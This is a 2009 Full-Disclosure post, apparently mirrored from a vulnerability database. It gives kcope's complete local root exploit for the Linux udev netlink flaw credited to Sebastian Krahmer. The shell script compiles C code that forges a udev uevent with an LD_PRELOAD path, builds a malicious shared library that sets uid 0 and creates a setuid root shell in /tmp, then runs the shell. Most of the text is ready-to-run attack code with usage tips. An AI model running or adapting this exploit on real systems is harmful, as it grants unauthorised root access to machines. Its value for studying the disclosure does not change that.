Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21698
HistoryApr 19, 2009 - 12:00 a.m.

[Full-disclosure] udev exploit

2009-04-1900:00:00
vulners.com
431

#!/bin/sh

Linux 2.6

bug found by Sebastian Krahmer

lame sploit using LD technique

by kcope in 2009

tested on debian-etch,ubuntu,gentoo

do a 'cat /proc/net/netlink'

and set the first arg to this

script to the pid of the netlink socket

(the pid is udevd_pid - 1 most of the time)

+ sploit has to be UNIX formatted text :)

+ if it doesn't work the 1st time try more often

WARNING: maybe needs some FIXUP to work flawlessly

greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];

    sprintf&#40;event, &quot;add&quot;&#41;;
    sprintf&#40;subsystem, &quot;block&quot;&#41;;
    sprintf&#40;sysfspath, &quot;/dev/foo&quot;&#41;;
    sprintf&#40;major, &quot;8&quot;&#41;;
    sprintf&#40;minor, &quot;1&quot;&#41;;

    memset&#40;&amp;address, 0, sizeof&#40;address&#41;&#41;;
    address.nl_family = AF_NETLINK;
    address.nl_pid = atoi&#40;argv[1]&#41;;
    address.nl_groups = 0;

    msg.msg_name = &#40;void*&#41;&amp;address;
    msg.msg_namelen = sizeof&#40;address&#41;;
    msg.msg_iov = &amp;iovector;
    msg.msg_iovlen = 1;

    socket_fd = socket&#40;AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT&#41;;
    bind&#40;socket_fd, &#40;struct sockaddr *&#41; &amp;address, sizeof&#40;address&#41;&#41;;

    char message[LONG_STRING];
    char *mp;

    mp = message;
    mp += sprintf&#40;mp, &quot;&#37;s@&#37;s&quot;, event, sysfspath&#41; +1;
    mp += sprintf&#40;mp, &quot;ACTION=&#37;s&quot;, event&#41; +1;
    mp += sprintf&#40;mp, &quot;DEVPATH=&#37;s&quot;, sysfspath&#41; +1;
    mp += sprintf&#40;mp, &quot;MAJOR=&#37;s&quot;, major&#41; +1;
    mp += sprintf&#40;mp, &quot;MINOR=&#37;s&quot;, minor&#41; +1;
    mp += sprintf&#40;mp, &quot;SUBSYSTEM=&#37;s&quot;, subsystem&#41; +1;
    mp += sprintf&#40;mp, &quot;LD_PRELOAD=/tmp/libno_ex.so.1.0&quot;&#41; +1;

    iovector.iov_base = &#40;void*&#41;message;
    iovector.iov_len = &#40;int&#41;&#40;mp-message&#41;;

    char *buf;
    int buflen;
    buf = &#40;char *&#41; &amp;msg;
    buflen = &#40;int&#41;&#40;mp-message&#41;;

    sendmsg&#40;socket_fd, &amp;msg, 0&#41;;

    close&#40;socket_fd&#41;;

    sleep&#40;10&#41;;
    execl&#40;&quot;/tmp/suid&quot;, &quot;suid&quot;, &#40;void*&#41;0&#41;;

}

_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1